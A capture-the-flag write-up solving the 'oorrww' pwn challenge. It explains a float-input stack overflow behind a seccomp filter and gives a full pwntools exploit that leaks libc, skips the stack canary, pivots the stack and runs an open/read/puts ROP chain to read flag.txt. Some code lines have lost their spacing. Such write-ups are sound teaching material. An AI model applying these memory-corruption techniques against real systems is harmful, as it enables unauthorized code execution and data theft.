sandbox adds seccomp rules. When we do seccomp-tools dump ./oorrww, we see the following:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
So we will have difficulty obtaining a shell. Looking at the gifts function:
voidgifts(undefined8 param_1){long lVar1;long in_FS_OFFSET; lVar1 =*(long*)(in_FS_OFFSET +0x28);printf("here are gifts for you: %.16g%.16g!\n",param_1,__isoc99_scanf);if (lVar1 !=*(long*)(in_FS_OFFSET +0x28)) { /* WARNING: Subroutine does not return */__stack_chk_fail(); }return;}
We get the addresses of the variable local_a8 in the stack, and the address of a libc function. However, the twist is that we are getting the addresses as a float with 16 decimal places.
Afterwards, in main, we are asked to input a float value into local_a8 22 times. Each input will write 8 bytes. This leads to a buffer overflow because for our last input, we will be inputting into the address local_a8[168]. In other words, we can write 24 bytes past local_a8. The first 8 bytes will overwrite the stack canary, the next 8 bytes will overwrite RBP and the next 8 bytes will overwrite RIP.
Since we know the address of the stack, and we have limited space, we can do stack pivoting so we have more space for an ROP chain. Our ROP chain will be put into local_a8.
Start by defining a helper function which converts the given floats to longs, and another helper function which converts a long to a float in bytes. This is facilitated by the Python pack and unpack functions.
deffloat_to_long(f):# pack the float as little endian using <d# unpack into 8 bytes as little endian using <Qreturn struct.unpack('<Q', struct.pack('<d', f))[0]deflong_to_float(l):returnstr(struct.unpack('<d', struct.pack('<Q', l))[0]).encode()
We start by receiving the stack address and scanf address, and converting them to longs to work with.
We can now start creating our payload. We will need a "flag.txt" string to use in our sys_open call. We start the payload by inputting the string which will be 8 bytes. Since it needs to be null-terminated, we use another 8 bytes for a block of zeroes.
payload =str(struct.unpack('<d', struct.pack('<8s', b'flag.txt'))[0]).encode()p.sendlineafter(b'\n', payload)# i = 0p.sendlineafter(b'\n', long_to_float(0))# i = 1
Now we can start writing the sys_open part of the payload. We want rdi to be a pointer to flag.txt, and rsi and rdx to be 0. Since rdx is already 0, we only need to zero out rsi. We then call sys_open by calling syscall with rax = 2
# syscall format: return val : rax, args: rdi, rsi, rdx# ROP chain starts here# open(local_a8_addr, 0, 0)p.sendlineafter(b'\n', long_to_float(0x00000000000d8380+ libc.address))# mov rax, 2 ; ret i = 2p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5+ libc.address))# pop rdi; ret i = 3# rdx is already 0p.sendlineafter(b'\n', long_to_float(local_a8_addr))# i = 4, this is the address of flag.txtp.sendlineafter(b'\n', long_to_float(0x000000000002be51+ libc.address))# pop rsi; ret i = 5p.sendlineafter(b'\n', long_to_float(0))# i = 6p.sendlineafter(b'\n', long_to_float(0x0000000000091316+ libc.address))# syscall ; ret i = 7
Next we want to read. Instead of using syscall, I used read to save stack space. This way I don't need to set the rax value. Assuming the file descriptor of the opened flag.txt is 3, we want rdi = 3, rsi = *buf, rdx = count . For the value of rsi which is the buffer address, we ideally want an address that doesn't overlap the part of the stack we use for our ROP chain. For this I chose local_a8_addr - 0x100 since it is sufficiently far away and is still readable and writable.
# read(3, local_a8_addr, 50) , assume the file descriptor is 3p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5+ libc.address))# pop rdi ; ret i = 8p.sendlineafter(b'\n', long_to_float(3))# i = 9p.sendlineafter(b'\n', long_to_float(0x000000000002be51+ libc.address))# pop rsi; ret i = 10# use local_a8_addr - 0x80 since we don't want any overlaps with our used stack spacep.sendlineafter(b'\n', long_to_float(local_a8_addr -0x100))# i = 11p.sendlineafter(b'\n', long_to_float(0x000000000011f2e7+ libc.address))# pop rdx ; pop r12 ; ret i = 12p.sendlineafter(b'\n', long_to_float(50))# i = 13p.sendlineafter(b'\n', long_to_float(0))# i = 14p.sendlineafter(b'\n', long_to_float(libc.sym['read']))# i = 15
Next we want to write from local_a8_addr - 0x100. To save space we call puts. We only need rdi to be that address, then call puts.
# puts(local_a8_addr)
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi; ret i = 16
p.sendlineafter(b'\n', long_to_float(local_a8_addr - 0x100)) # i = 17
p.sendlineafter(b'\n', long_to_float(libc.sym['puts'])) # i = 18
Now, we need to bypass the canary. We can do this by entering a character such as - which will leave the canary untouched. We then overwrite RBP to local_a8 + 8 so our execution continues right after the 8 bytes of zeroes, and overwrite RIP to be a leave ; ret instruction.
# canary bypassp.sendlineafter(b'\n', b'-')# i = 19# overwrite RBP to local_a8 + 8p.sendlineafter(b'\n', long_to_float(local_a8_addr +8))# i = 20# stack pivotingp.sendlineafter(b'\n', long_to_float(0x000000000004da83+ libc.address))# leave ; ret i = 21
This should give us the flag. The full exploit code is given below.
from pwn import*# fill in binary nameelf = context.binary =ELF("./oorrww")context.arch ='amd64'# fill in libc namelibc =ELF("./libc.so.6")if args.REMOTE:# fill in remote address p =remote("193.148.168.30", 7666)elif args.REMOTE2: p =remote("localhost", 40003)elif args.GDB: context.terminal = ["tmux","splitw","-h"] p = gdb.debug(binary, gdbscript=gs)else: p = elf.process(env = {"LD_PRELOAD": libc.path})deffloat_to_long(f):# pack the float as little endian using <d# unpack into 8 bytes as little endian using <Qreturn struct.unpack('<Q', struct.pack('<d', f))[0]deflong_to_float(l):returnstr(struct.unpack('<d', struct.pack('<Q', l))[0]).encode()p.recvuntil(b': ')addresses = p.recvuntil(b'!\n')[:-2].decode()local_a8_addr, scanf_addr = addresses.split()local_a8_addr =float_to_long(float(local_a8_addr))scanf_addr =float_to_long(float(scanf_addr))print("local_a8 addr: "+hex(local_a8_addr))print("scanf addr: "+hex(scanf_addr))print("libc addr: "+hex(scanf_addr - libc.sym['__isoc99_scanf']))libc.address = scanf_addr - libc.sym['__isoc99_scanf']payload =str(struct.unpack('<d', struct.pack('<8s', b'flag.txt'))[0]).encode()# we can only send 22 * 8 bytes!info(payload)p.sendlineafter(b'\n', payload)# i = 0p.sendlineafter(b'\n', long_to_float(0))# i = 1# syscall format: return val : rax, args: rdi, rsi, rdx# ROP chain starts here# open(local_a8_addr, 0, 0)p.sendlineafter(b'\n', long_to_float(0x00000000000d8380+ libc.address))# mov rax, 2 ; ret i = 2p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5+ libc.address))# pop rdi; ret i = 3# rdx is already 0p.sendlineafter(b'\n', long_to_float(local_a8_addr))# i = 4p.sendlineafter(b'\n', long_to_float(0x000000000002be51+ libc.address))# pop rsi; ret i = 5p.sendlineafter(b'\n', long_to_float(0))# i = 6p.sendlineafter(b'\n', long_to_float(0x0000000000091316+ libc.address))# syscall ; ret i = 7# read(3, local_a8_addr, 20) , assume the file descriptor is 3p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5+ libc.address))# pop rdi ; ret i = 8p.sendlineafter(b'\n', long_to_float(3))# i = 9p.sendlineafter(b'\n', long_to_float(0x000000000002be51+ libc.address))# pop rsi; ret i = 10# use local_a8_addr - 0x80 since we don't want any overlaps with our used stack spacep.sendlineafter(b'\n', long_to_float(local_a8_addr -0x100))# i = 11p.sendlineafter(b'\n', long_to_float(0x000000000011f2e7+ libc.address))# pop rdx ; pop r12 ; ret i = 12p.sendlineafter(b'\n', long_to_float(50))# i = 13p.sendlineafter(b'\n', long_to_float(0))# i = 14p.sendlineafter(b'\n', long_to_float(libc.sym['read']))# i = 15# puts(local_a8_addr)p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5+ libc.address))# pop rdi; ret i = 16p.sendlineafter(b'\n', long_to_float(local_a8_addr -0x100))# i = 17p.sendlineafter(b'\n', long_to_float(libc.sym['puts']))# i = 18# canary bypassp.sendlineafter(b'\n', b'-')# i = 19# overwrite RBP to local_a8 + 8p.sendlineafter(b'\n', long_to_float(local_a8_addr +8))# i = 20# stack pivotingp.sendlineafter(b'\n', long_to_float(0x000000000004da83+ libc.address))# leave ; ret i = 21info(b"flag: "+ p.recv(50))# flag: L3AK{th3_d0ubl3d_1nput_r3turns_whAt_u_wAnt}